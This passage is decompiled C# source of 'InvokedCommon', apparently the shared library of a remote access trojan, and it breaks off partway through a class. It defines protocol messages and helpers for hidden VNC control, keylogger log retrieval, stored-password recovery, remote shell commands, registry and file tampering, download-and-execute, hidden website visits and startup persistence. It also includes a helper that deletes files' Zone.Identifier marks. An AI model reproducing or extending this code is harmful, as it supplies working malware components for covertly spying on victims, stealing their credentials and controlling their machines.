using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Permissions;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using InvokedCommon.Cryptography;
using InvokedCommon.Enums;
using InvokedCommon.Extensions;
using InvokedCommon.Messages;
using InvokedCommon.Messages.ReverseProxy;
using InvokedCommon.Models;
using InvokedCommon.Networking;
using InvokedCommon.ReverseProxy;
using InvokedCommon.Structs;
using InvokedCommon.Utilities;
using InvokedCommon.Video;
using InvokedCommon.Video.Compression;
using Microsoft.Win32;
using ProtoBuf;
using ProtoBuf.Meta;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
[assembly: AssemblyVersion("0.0.0.0")]
[module: UnverifiableCode]
namespace InvokedCommon
{
	public class NativeMethods
	{
		[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
		public unsafe static extern int memcmp(byte* ptr1, byte* ptr2, uint count);

		[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
		public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);

		[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
		public static extern int memcpy(IntPtr dst, IntPtr src, uint count);

		[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
		public unsafe static extern int memcpy(void* dst, void* src, uint count);

		[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
		[return: MarshalAs(UnmanagedType.Bool)]
		public static extern bool DeleteFile(string name);
	}
}
namespace InvokedCommon.Cryptography
{
	public class Aes256
	{
		private const int KeyLength = 32;

		private const int AuthKeyLength = 64;

		private const int IvLength = 16;

		private const int HmacSha256Length = 32;

		private readonly byte[] _key;

		private readonly byte[] _authKey;

		private static readonly byte[] Salt = new byte[32]
		{
			175, 43, 158, 59, 247, 45, 119, 251, 242, 249,
			35, 180, 160, 21, 184, 243, 32, 157, 22, 36,
			162, 27, 111, 177, 196, 161, 35, 178, 166, 179,
			41, 161
		};

		public Aes256(string masterKey)
		{
			if (string.IsNullOrEmpty(masterKey))
			{
				throw new ArgumentException("masterKey can not be null or empty.");
			}
			using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
			_key = rfc2898DeriveBytes.GetBytes(32);
			_authKey = rfc2898DeriveBytes.GetBytes(64);
		}

		public string Encrypt(string input)
		{
			return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
		}

		public byte[] Encrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream();
			memoryStream.Position = 32L;
			using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
			{
				aesCryptoServiceProvider.KeySize = 256;
				aesCryptoServiceProvider.BlockSize = 128;
				aesCryptoServiceProvider.Mode = CipherMode.CBC;
				aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
				aesCryptoServiceProvider.Key = _key;
				aesCryptoServiceProvider.GenerateIV();
				using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
				memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
				cryptoStream.Write(input, 0, input.Length);
				cryptoStream.FlushFinalBlock();
				using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
				byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				memoryStream.Position = 0L;
				memoryStream.Write(array, 0, array.Length);
			}
			return memoryStream.ToArray();
		}

		public string Decrypt(string input)
		{
			return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
		}

		public byte[] Decrypt(byte[] input)
		{
			if (input == null)
			{
				throw new ArgumentNullException("input can not be null.");
			}
			using MemoryStream memoryStream = new MemoryStream(input);
			using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
			aesCryptoServiceProvider.KeySize = 256;
			aesCryptoServiceProvider.BlockSize = 128;
			aesCryptoServiceProvider.Mode = CipherMode.CBC;
			aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
			aesCryptoServiceProvider.Key = _key;
			using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
			{
				byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				byte[] array = new byte[32];
				memoryStream.Read(array, 0, array.Length);
				byte[] a2 = array;
				if (!SafeComparison.AreEqual(a, a2))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}
			}
			byte[] array2 = new byte[16];
			memoryStream.Read(array2, 0, 16);
			aesCryptoServiceProvider.IV = array2;
			using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
			byte[] array3 = new byte[memoryStream.Length - 16 + 1];
			byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
			Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
			return array4;
		}
	}
	public class SafeComparison
	{
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		public static bool AreEqual(byte[] a1, byte[] a2)
		{
			bool result = true;
			for (int i = 0; i < a1.Length; i++)
			{
				if (a1[i] != a2[i])
				{
					result = false;
				}
			}
			return result;
		}
	}
	public static class Sha256
	{
		public static string ComputeHash(string input)
		{
			byte[] array = Encoding.UTF8.GetBytes(input);
			using (SHA256Managed sHA256Managed = new SHA256Managed())
			{
				array = sHA256Managed.ComputeHash(array);
			}
			StringBuilder stringBuilder = new StringBuilder();
			byte[] array2 = array;
			foreach (byte b in array2)
			{
				stringBuilder.Append(b.ToString("X2"));
			}
			return stringBuilder.ToString().ToUpper();
		}

		public static byte[] ComputeHash(byte[] input)
		{
			using SHA256Managed sHA256Managed = new SHA256Managed();
			return sHA256Managed.ComputeHash(input);
		}
	}
}
namespace InvokedCommon.DNS
{
	public class Host
	{
		public string Hostname { get; set; }

		public IPAddress IpAddress { get; set; }

		public ushort Port { get; set; }

		public override string ToString()
		{
			return Hostname + ":" + Port;
		}
	}
	public class HostsConverter
	{
		public List<Host> RawHostsToList(string rawHosts)
		{
			List<Host> list = new List<Host>();
			if (string.IsNullOrEmpty(rawHosts))
			{
				return list;
			}
			char[] separator = new char[1] { ';' };
			string[] array = rawHosts.Split(separator);
			foreach (string text in array)
			{
				if (!string.IsNullOrEmpty(text) && Enumerable.Contains(text, ':') && ushort.TryParse(text.Substring(text.LastIndexOf(':') + 1), out var result))
				{
					list.Add(new Host
					{
						Hostname = text.Substring(0, text.LastIndexOf(':')),
						Port = result
					});
				}
			}
			return list;
		}

		public string ListToRawHosts(IList<Host> hosts)
		{
			StringBuilder stringBuilder = new StringBuilder();
			foreach (Host host in hosts)
			{
				stringBuilder.Append(host?.ToString() + ";");
			}
			return stringBuilder.ToString();
		}
	}
	public class HostsManager
	{
		private readonly Queue<Host> _hosts = new Queue<Host>();

		public bool IsEmpty => _hosts.Count == 0;

		public HostsManager(List<Host> hosts)
		{
			foreach (Host host in hosts)
			{
				_hosts.Enqueue(host);
			}
		}

		public Host GetNextHost()
		{
			Host host = _hosts.Dequeue();
			_hosts.Enqueue(host);
			host.IpAddress = ResolveHostname(host);
			return host;
		}

		private static IPAddress ResolveHostname(Host host)
		{
			if (string.IsNullOrEmpty(host.Hostname))
			{
				return null;
			}
			if (IPAddress.TryParse(host.Hostname, out IPAddress address))
			{
				if (address.AddressFamily != AddressFamily.InterNetworkV6 || Socket.OSSupportsIPv6)
				{
					return address;
				}
				return null;
			}
			IPAddress[] addressList = Dns.GetHostEntry(host.Hostname).AddressList;
			IPAddress[] array = addressList;
			foreach (IPAddress iPAddress in array)
			{
				switch (iPAddress.AddressFamily)
				{
				case AddressFamily.InterNetwork:
					return iPAddress;
				case AddressFamily.InterNetworkV6:
					if (addressList.Length == 1)
					{
						return iPAddress;
					}
					break;
				}
			}
			return address;
		}
	}
}
namespace InvokedCommon.Enums
{
	public enum AccountType
	{
		Admin,
		User,
		Guest,
		Unknown
	}
	public enum ConnectionState : byte
	{
		Closed = 1,
		Listening,
		SYN_Sent,
		Syn_Recieved,
		Established,
		Finish_Wait_1,
		Finish_Wait_2,
		Closed_Wait,
		Closing,
		Last_ACK,
		Time_Wait,
		Delete_TCB
	}
	public enum ContentType
	{
		Blob = 2,
		Application,
		Text,
		Archive,
		Word,
		Pdf,
		Image,
		Video,
		Audio
	}
	public enum FileType
	{
		File,
		Directory,
		Back
	}
	[Flags]
	[ProtoContract]
	public enum HVNCStatus
	{
		Start = 0,
		Stopped = 1,
		Stop = 2,
		CheckServer = 3,
		ResetClientFrameCount = 4
	}
	public enum MouseAction
	{
		LeftDown,
		LeftUp,
		RightDown,
		RightUp,
		MoveCursor,
		ScrollUp,
		ScrollDown,
		None
	}
	public enum ProcessAction
	{
		Start,
		End
	}
	[Flags]
	[ProtoContract]
	public enum RemoteDesktopStatus
	{
		Start = 0,
		Stopped = 1,
		Stop = 2,
		CheckServer = 3,
		ResetClientFrameCount = 4,
		EnableOldGraphicsEngine = 5,
		DisableOldGraphicsEngine = 6,
		OldGraphicsEngineGetDesktop = 7
	}
	public enum ShutdownAction
	{
		Shutdown,
		Restart,
		Standby
	}
	public enum StartupType
	{
		LocalMachineRun,
		LocalMachineRunOnce,
		CurrentUserRun,
		CurrentUserRunOnce,
		StartMenu,
		LocalMachineRunX86,
		LocalMachineRunOnceX86
	}
	public enum UserStatus
	{
		Active,
		Idle
	}
}
namespace InvokedCommon.Extensions
{
	public static class DriveTypeExtensions
	{
		public static string ToFriendlyString(this DriveType type)
		{
			return type switch
			{
				DriveType.Removable => "Removable Drive", 
				DriveType.Fixed => "Local Disk", 
				DriveType.Network => "Network Drive", 
				_ => type.ToString(), 
			};
		}
	}
	public static class SocketExtensions
	{
		internal struct TcpKeepAlive
		{
			internal uint onoff;

			internal uint keepalivetime;

			internal uint keepaliveinterval;
		}

		public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
		{
			TcpKeepAlive structure = new TcpKeepAlive
			{
				onoff = 1u,
				keepaliveinterval = keepAliveInterval,
				keepalivetime = keepAliveTime
			};
			int num = Marshal.SizeOf(structure);
			IntPtr intPtr = Marshal.AllocHGlobal(num);
			Marshal.StructureToPtr(structure, intPtr, fDeleteOld: true);
			byte[] array = new byte[num];
			Marshal.Copy(intPtr, array, 0, num);
			Marshal.FreeHGlobal(intPtr);
			socket.IOControl(IOControlCode.KeepAliveValues, array, null);
		}
	}
	public static class StringExtensions
	{
		public static ContentType ToContentType(this string fileExtension)
		{
			switch (fileExtension.ToLower())
			{
			case ".7z":
			case ".apk":
			case ".bz2":
			case ".cab":
			case ".gz":
			case ".rar":
			case ".s7z":
			case ".tar":
			case ".tgz":
			case ".zip":
			case ".zipx":
			case ".zz":
				return ContentType.Archive;
			case ".asc":
			case ".cfg":
			case ".conf":
			case ".log":
			case ".txt":
				return ContentType.Text;
			case ".avi":
			case ".flv":
			case ".m4v":
			case ".mkv":
			case ".mov":
			case ".mp4":
			case ".wmv":
				return ContentType.Video;
			case ".bmp":
			case ".gif":
			case ".ico":
			case ".jpeg":
			case ".jpg":
			case ".png":
				return ContentType.Image;
			case ".doc":
			case ".docx":
			case ".odt":
				return ContentType.Word;
			case ".exe":
				return ContentType.Application;
			case ".m3u":
			case ".m4a":
			case ".mp3":
			case ".pls":
			case ".wav":
				return ContentType.Audio;
			case ".pdf":
				return ContentType.Pdf;
			default:
				return ContentType.Blob;
			}
		}
	}
}
namespace InvokedCommon.Helpers
{
	public static class FileHelper
	{
		private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();

		public static bool HasIllegalCharacters(string path)
		{
			return path.Any((char c) => Enumerable.Contains(IllegalPathChars, c));
		}

		public static string GetRandomFilename(int length, string extension = "")
		{
			return StringHelper.GetRandomString(length) + extension;
		}

		public static string GetTempFilePath(string extension)
		{
			string text;
			do
			{
				text = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
			}
			while (File.Exists(text));
			return text;
		}

		public static bool HasExecutableIdentifier(byte[] binary)
		{
			if (binary.Length < 2)
			{
				return false;
			}
			if (binary[0] == 77 && binary[1] == 90)
			{
				return true;
			}
			if (binary[0] == 90)
			{
				return binary[1] == 77;
			}
			return false;
		}

		public static bool DeleteZoneIdentifier(string filePath)
		{
			return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
		}

		public static void WriteLogFile(string filename, string appendText, Aes256 aes)
		{
			appendText = ReadLogFile(filename, aes) + appendText;
			using FileStream fileStream = File.Open(filename, FileMode.Create, FileAccess.Write);
			byte[] array = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
			fileStream.Seek(0L, SeekOrigin.Begin);
			fileStream.Write(array, 0, array.Length);
		}

		public static string ReadLogFile(string filename, Aes256 aes)
		{
			if (File.Exists(filename))
			{
				return Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename)));
			}
			return string.Empty;
		}
	}
	public static class PlatformHelper
	{
		public static string FullName { get; }

		public static string Name { get; }

		public static bool Is64Bit { get; }

		public static bool RunningOnMono { get; }

		public static bool Win32NT { get; }

		public static bool XpOrHigher { get; }

		public static bool VistaOrHigher { get; }

		public static bool SevenOrHigher { get; }

		public static bool EightOrHigher { get; }

		public static bool EightPointOneOrHigher { get; }

		public static bool TenOrHigher { get; }

		static PlatformHelper()
		{
			//IL_0118: Unknown result type (might be due to invalid IL or missing references)
			//IL_011e: Expected O, but got Unknown
			Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT;
			XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5;
			VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6;
			SevenOrHigher = Win32NT && Environment.OSVersion.Version >= new Version(6, 1);
			EightOrHigher = Win32NT && Environment.OSVersion.Version >= new Version(6, 2, 9200);
			EightPointOneOrHigher = Win32NT && Environment.OSVersion.Version >= new Version(6, 3);
			TenOrHigher = Win32NT && Environment.OSVersion.Version >= new Version(10, 0);
			RunningOnMono = Type.GetType("Mono.Runtime") != null;
			Name = "Unknown OS";
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						Name = enumerator.Current["Caption"].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd(Array.Empty<char>()).TrimStart(Array.Empty<char>());
			Is64Bit = Environment.Is64BitOperatingSystem;
			FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit";
		}
	}
	public static class StringHelper
	{
		private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

		private static readonly string[] Sizes = new string[6] { "B", "KB", "MB", "GB", "TB", "PB" };

		private static readonly SafeRandom Random = new SafeRandom();

		public static string GetRandomString(int length)
		{
			StringBuilder stringBuilder = new StringBuilder(length);
			for (int i = 0; i < length; i++)
			{
				stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".Length)]);
			}
			return stringBuilder.ToString();
		}

		public static string GetHumanReadableFileSize(long size)
		{
			double num = size;
			int num2 = 0;
			while (num >= 1024.0 && num2 + 1 < Sizes.Length)
			{
				num2++;
				num /= 1024.0;
			}
			return $"{num:0.##} {Sizes[num2]}";
		}

		public static string GetFormattedMacAddress(string macAddress)
		{
			if (macAddress.Length != 12)
			{
				return "00:00:00:00:00:00";
			}
			return Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
		}

		public static string RemoveLastChars(string input, int amount = 2)
		{
			if (input.Length > amount)
			{
				input = input.Remove(input.Length - amount);
			}
			return input;
		}
	}
}
namespace InvokedCommon.IO
{
	public class FileSplit : IEnumerable<FileChunk>, IEnumerable, IDisposable
	{
		public readonly int MaxChunkSize = 65535;

		private readonly FileStream _fileStream;

		public string FilePath => _fileStream.Name;

		public long FileSize => _fileStream.Length;

		public FileSplit(string filePath, FileAccess fileAccess)
		{
			switch (fileAccess)
			{
			default:
				throw new ArgumentException("fileAccess must be either Read or Write.");
			case FileAccess.Write:
				_fileStream = File.OpenWrite(filePath);
				break;
			case FileAccess.Read:
				_fileStream = File.OpenRead(filePath);
				break;
			}
		}

		public void WriteChunk(FileChunk chunk)
		{
			_fileStream.Seek(chunk.Offset, SeekOrigin.Begin);
			_fileStream.Write(chunk.Data, 0, chunk.Data.Length);
		}

		public FileChunk ReadChunk(long offset)
		{
			_fileStream.Seek(offset, SeekOrigin.Begin);
			byte[] array = new byte[(_fileStream.Length - _fileStream.Position < MaxChunkSize) ? (_fileStream.Length - _fileStream.Position) : MaxChunkSize];
			_fileStream.Read(array, 0, array.Length);
			return new FileChunk
			{
				Data = array,
				Offset = _fileStream.Position - array.Length
			};
		}

		public IEnumerator<FileChunk> GetEnumerator()
		{
			long currentChunk = 0L;
			while (currentChunk <= _fileStream.Length / MaxChunkSize)
			{
				yield return ReadChunk(currentChunk * MaxChunkSize);
				long num = currentChunk + 1;
				currentChunk = num;
			}
		}

		IEnumerator IEnumerable.GetEnumerator()
		{
			return GetEnumerator();
		}

		protected virtual void Dispose(bool disposing)
		{
			if (disposing)
			{
				_fileStream.Dispose();
			}
		}

		public void Dispose()
		{
			Dispose(disposing: true);
			GC.SuppressFinalize(this);
		}
	}
}
namespace InvokedCommon.Messages
{
	[ProtoContract]
	public class ClientIdentification : IMessage
	{
		[ProtoMember(1)]
		public string Version { get; set; }

		[ProtoMember(2)]
		public string OperatingSystem { get; set; }

		[ProtoMember(3)]
		public string AccountType { get; set; }

		[ProtoMember(4)]
		public string Country { get; set; }

		[ProtoMember(5)]
		public string CountryCode { get; set; }

		[ProtoMember(6)]
		public int ImageIndex { get; set; }

		[ProtoMember(7)]
		public string Id { get; set; }

		[ProtoMember(8)]
		public string Username { get; set; }

		[ProtoMember(9)]
		public string PcName { get; set; }

		[ProtoMember(10)]
		public string Tag { get; set; }

		[ProtoMember(11)]
		public string EncryptionKey { get; set; }

		[ProtoMember(12)]
		public byte[] Signature { get; set; }
	}
	[ProtoContract]
	public class ClientIdentificationResult : IMessage
	{
		[ProtoMember(1)]
		public bool Result { get; set; }
	}
	[ProtoContract]
	public class GetSystemSummaryDesktopImageResponse : IMessage
	{
		[ProtoMember(1)]
		public byte[] Image { get; set; }

		[ProtoMember(2)]
		public int Quality { get; set; }

		[ProtoMember(3)]
		public int Monitor { get; set; }

		[ProtoMember(4)]
		public Resolution Resolution { get; set; }
	}
	[ProtoContract]
	public class GetSystemSummaryInfo : IMessage
	{
	}
	[ProtoContract]
	public class GetSystemSummaryInfoResponse : IMessage
	{
		[ProtoMember(1)]
		public List<Tuple<string, string>> SystemSummaryInfos { get; set; }
	}
	[ProtoContract]
	public class DoAskElevate : IMessage
	{
	}
	[ProtoContract]
	public class DoChangeRegistryValue : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public RegValueData Value { get; set; }
	}
	[ProtoContract]
	public class DoClientDisconnect : IMessage
	{
	}
	[ProtoContract]
	public class DoClientReconnect : IMessage
	{
	}
	[ProtoContract]
	public class DoClientUninstall : IMessage
	{
	}
	[ProtoContract]
	public class DoCloseConnection : IMessage
	{
		[ProtoMember(1)]
		public string LocalAddress { get; set; }

		[ProtoMember(2)]
		public ushort LocalPort { get; set; }

		[ProtoMember(3)]
		public string RemoteAddress { get; set; }

		[ProtoMember(4)]
		public ushort RemotePort { get; set; }
	}
	[ProtoContract]
	public class DoCreateRegistryKey : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }
	}
	[ProtoContract]
	public class DoCreateRegistryValue : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public RegistryValueKind Kind { get; set; }
	}
	[ProtoContract]
	public class DoDeleteRegistryKey : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }

		[ProtoMember(2)]
		public string KeyName { get; set; }
	}
	[ProtoContract]
	public class DoDeleteRegistryValue : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public string ValueName { get; set; }
	}
	[ProtoContract]
	public class DoLoadRegistryKey : IMessage
	{
		[ProtoMember(1)]
		public string RootKeyName { get; set; }
	}
	[ProtoContract]
	public class DoPathDelete : IMessage
	{
		[ProtoMember(1)]
		public string Path { get; set; }

		[ProtoMember(2)]
		public FileType PathType { get; set; }
	}
	[ProtoContract]
	public class DoPathRename : IMessage
	{
		[ProtoMember(1)]
		public string Path { get; set; }

		[ProtoMember(2)]
		public string NewPath { get; set; }

		[ProtoMember(3)]
		public FileType PathType { get; set; }
	}
	[ProtoContract]
	public class DoProcessEnd : IMessage
	{
		[ProtoMember(1)]
		public int Pid { get; set; }
	}
	[ProtoContract]
	public class DoProcessResponse : IMessage
	{
		[ProtoMember(1)]
		public ProcessAction Action { get; set; }

		[ProtoMember(2)]
		public bool Result { get; set; }
	}
	[ProtoContract]
	public class DoProcessStart : IMessage
	{
		[ProtoMember(1)]
		public string DownloadUrl { get; set; }

		[ProtoMember(2)]
		public string FilePath { get; set; }

		[ProtoMember(3)]
		public bool IsUpdate { get; set; }

		[ProtoMember(4)]
		public string fileExtension { get; set; }
	}
	[ProtoContract]
	public class DoRenameRegistryKey : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }

		[ProtoMember(2)]
		public string OldKeyName { get; set; }

		[ProtoMember(3)]
		public string NewKeyName { get; set; }
	}
	[ProtoContract]
	public class DoRenameRegistryValue : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public string OldValueName { get; set; }

		[ProtoMember(3)]
		public string NewValueName { get; set; }
	}
	[ProtoContract]
	public class DoShellExecute : IMessage
	{
		[ProtoMember(1)]
		public string Command { get; set; }
	}
	[ProtoContract]
	public class DoShellExecuteResponse : IMessage
	{
		[ProtoMember(1)]
		public string Output { get; set; }

		[ProtoMember(2)]
		public bool IsError { get; set; }
	}
	[ProtoContract]
	public class DoShowMessageBox : IMessage
	{
		[ProtoMember(1)]
		public string Caption { get; set; }

		[ProtoMember(2)]
		public string Text { get; set; }

		[ProtoMember(3)]
		public string Button { get; set; }

		[ProtoMember(4)]
		public string Icon { get; set; }
	}
	[ProtoContract]
	public class DoShutdownAction : IMessage
	{
		[ProtoMember(1)]
		public ShutdownAction Action { get; set; }
	}
	[ProtoContract]
	public class DoStartupItemAdd : IMessage
	{
		[ProtoMember(1)]
		public StartupItem StartupItem { get; set; }
	}
	[ProtoContract]
	public class DoStartupItemRemove : IMessage
	{
		[ProtoMember(1)]
		public StartupItem StartupItem { get; set; }
	}
	[ProtoContract]
	public class DoVisitWebsite : IMessage
	{
		[ProtoMember(1)]
		public string Url { get; set; }

		[ProtoMember(2)]
		public bool Hidden { get; set; }
	}
	[ProtoContract]
	public class FileTransferCancel : IMessage
	{
		[ProtoMember(1)]
		public int Id { get; set; }

		[ProtoMember(2)]
		public string Reason { get; set; }
	}
	[ProtoContract]
	public class FileTransferChunk : IMessage
	{
		[ProtoMember(1)]
		public int Id { get; set; }

		[ProtoMember(2)]
		public string FilePath { get; set; }

		[ProtoMember(3)]
		public long FileSize { get; set; }

		[ProtoMember(4)]
		public string FileExtension { get; set; }

		[ProtoMember(5)]
		public FileChunk Chunk { get; set; }
	}
	[ProtoContract]
	public class FileTransferComplete : IMessage
	{
		[ProtoMember(1)]
		public int Id { get; set; }

		[ProtoMember(2)]
		public string FilePath { get; set; }
	}
	[ProtoContract]
	public class FileTransferRequest : IMessage
	{
		[ProtoMember(1)]
		public int Id { get; set; }

		[ProtoMember(2)]
		public string RemotePath { get; set; }
	}
	[ProtoContract]
	public class GetChangeRegistryValueResponse : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public RegValueData Value { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetConnections : IMessage
	{
	}
	[ProtoContract]
	public class GetConnectionsResponse : IMessage
	{
		[ProtoMember(1)]
		public TcpConnection[] Connections { get; set; }
	}
	[ProtoContract]
	public class GetCreateRegistryKeyResponse : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }

		[ProtoMember(2)]
		public RegSeekerMatch Match { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetCreateRegistryValueResponse : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public RegValueData Value { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetDeleteRegistryKeyResponse : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }

		[ProtoMember(2)]
		public string KeyName { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetDeleteRegistryValueResponse : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public string ValueName { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetDirectory : IMessage
	{
		[ProtoMember(1)]
		public string RemotePath { get; set; }
	}
	[ProtoContract]
	public class GetDirectoryResponse : IMessage
	{
		[ProtoMember(1)]
		public string RemotePath { get; set; }

		[ProtoMember(2)]
		public FileSystemEntry[] Items { get; set; }
	}
	[ProtoContract]
	public class GetDrives : IMessage
	{
	}
	[ProtoContract]
	public class GetDrivesResponse : IMessage
	{
		[ProtoMember(1)]
		public Drive[] Drives { get; set; }
	}
	[ProtoContract]
	public class GetKeyloggerLogsDirectory : IMessage
	{
	}
	[ProtoContract]
	public class GetKeyloggerLogsDirectoryResponse : IMessage
	{
		[ProtoMember(1)]
		public string LogsDirectory { get; set; }
	}
	[ProtoContract]
	public class GetPasswords : IMessage
	{
	}
	[ProtoContract]
	public class GetPasswordsResponse : IMessage
	{
		[ProtoMember(1)]
		public List<RecoveredAccount> RecoveredAccounts { get; set; }
	}
	[ProtoContract]
	public class GetProcesses : IMessage
	{
	}
	[ProtoContract]
	public class GetProcessesResponse : IMessage
	{
		[ProtoMember(1)]
		public InvokedCommon.Models.Process[] Processes { get; set; }
	}
	[ProtoContract]
	public class GetRegistryKeysResponse : IMessage
	{
		[ProtoMember(1)]
		public RegSeekerMatch[] Matches { get; set; }

		[ProtoMember(2)]
		public string RootKey { get; set; }

		[ProtoMember(3)]
		public bool IsError { get; set; }

		[ProtoMember(4)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetRenameRegistryKeyResponse : IMessage
	{
		[ProtoMember(1)]
		public string ParentPath { get; set; }

		[ProtoMember(2)]
		public string OldKeyName { get; set; }

		[ProtoMember(3)]
		public string NewKeyName { get; set; }

		[ProtoMember(4)]
		public bool IsError { get; set; }

		[ProtoMember(5)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetRenameRegistryValueResponse : IMessage
	{
		[ProtoMember(1)]
		public string KeyPath { get; set; }

		[ProtoMember(2)]
		public string OldValueName { get; set; }

		[ProtoMember(3)]
		public string NewValueName { get; set; }

		[ProtoMember(4)]
		public bool IsError { get; set; }

		[ProtoMember(5)]
		public string ErrorMsg { get; set; }
	}
	[ProtoContract]
	public class GetStartupItems : IMessage
	{
	}
	[ProtoContract]
	public class GetStartupItemsResponse : IMessage
	{
		[ProtoMember(1)]
		public List<StartupItem> StartupItems { get; set; }
	}
	[ProtoContract]
	public class GetSystemInfo : IMessage
	{
	}
	[ProtoContract]
	public class GetSystemInfoResponse : IMessage
	{
		[ProtoMember(1)]
		public List<Tuple<string, string>> SystemInfos { get; set; }
	}
	[ProtoContract]
	public class DoInputEventHVNC : IMessage
	{
		[ProtoMember(1)]
		public int HVNCImsg { get; set; }

		[ProtoMember(2)]
		public long HVNCIwParam { get; set; }

		[ProtoMember(3)]
		public long HVNCIlParam { get; set; }
	}
	[ProtoContract]
	public class DoNewProcessHVNC : IMessage
	{
		[ProtoMember(1)]
